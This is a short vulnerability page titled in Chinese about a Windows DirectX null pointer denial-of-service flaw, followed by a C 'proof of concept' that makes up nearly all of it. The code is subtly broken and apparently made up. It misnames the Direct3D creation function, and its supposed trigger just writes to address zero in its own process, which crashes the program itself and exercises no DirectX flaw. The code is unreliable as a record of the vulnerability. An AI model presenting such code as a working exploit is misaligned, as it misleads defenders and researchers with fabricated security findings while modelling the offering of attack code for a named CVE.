CVE-2025-62465 Windows DirectX空指针解引用拒绝服务漏洞

// CVE-2025-62465 Windows DirectX Null Pointer Dereference PoC // This PoC demonstrates triggering a null pointer dereference in DirectX // Requires local access with low privileges #include <windows.h> #include <d3d9.h> #pragma comment(lib, "d3d9.lib") int main() { HWND hWnd = GetConsoleWindow(); // Initialize Direct3D LPDIRECT3D9 pD3D = Direct3Create9(D3D_SDK_VERSION); if (pD3D == NULL) { printf("Failed to create Direct3D object\n"); return -1; } D3DPRESENT_PARAMETERS d3dpp; ZeroMemory(&d3dpp, sizeof(d3dpp)); d3dpp.Windowed = TRUE; d3dpp.SwapEffect = D3DSWAPEFFECT_DISCARD; d3dpp.hDeviceWindow = hWnd; LPDIRECT3DDEVICE9 pDevice = NULL; // Attempt to create device with invalid parameters to trigger vulnerability HRESULT hr = pD3D->CreateDevice( D3DADAPTER_DEFAULT, D3DDEVTYPE_HAL, NULL, // NULL window handle triggers null pointer D3DCREATE_SOFTWARE_VERTEXPROCESSING, &d3dpp, &pDevice ); if (SUCCEEDED(hr) && pDevice != NULL) { // Trigger null pointer dereference through invalid surface operations LPDIRECT3DSURFACE9 pSurface = NULL; pDevice->GetRenderTarget(0, &pSurface); // Manipulate surface to trigger the vulnerability D3DLOCKED_RECT lockedRect; if (pSurface) { pSurface->LockRect(&lockedRect, NULL, D3DLOCK_READONLY); // Force null pointer access volatile char* p = (volatile char*)0x00000000; *p = 0; // This triggers the null pointer dereference pSurface->UnlockRect(); pSurface->Release(); } pDevice->Release(); } pD3D->Release(); return 0; } // Note: This is a simplified PoC for demonstration purposes // Actual exploitation may require specific conditions and Windows version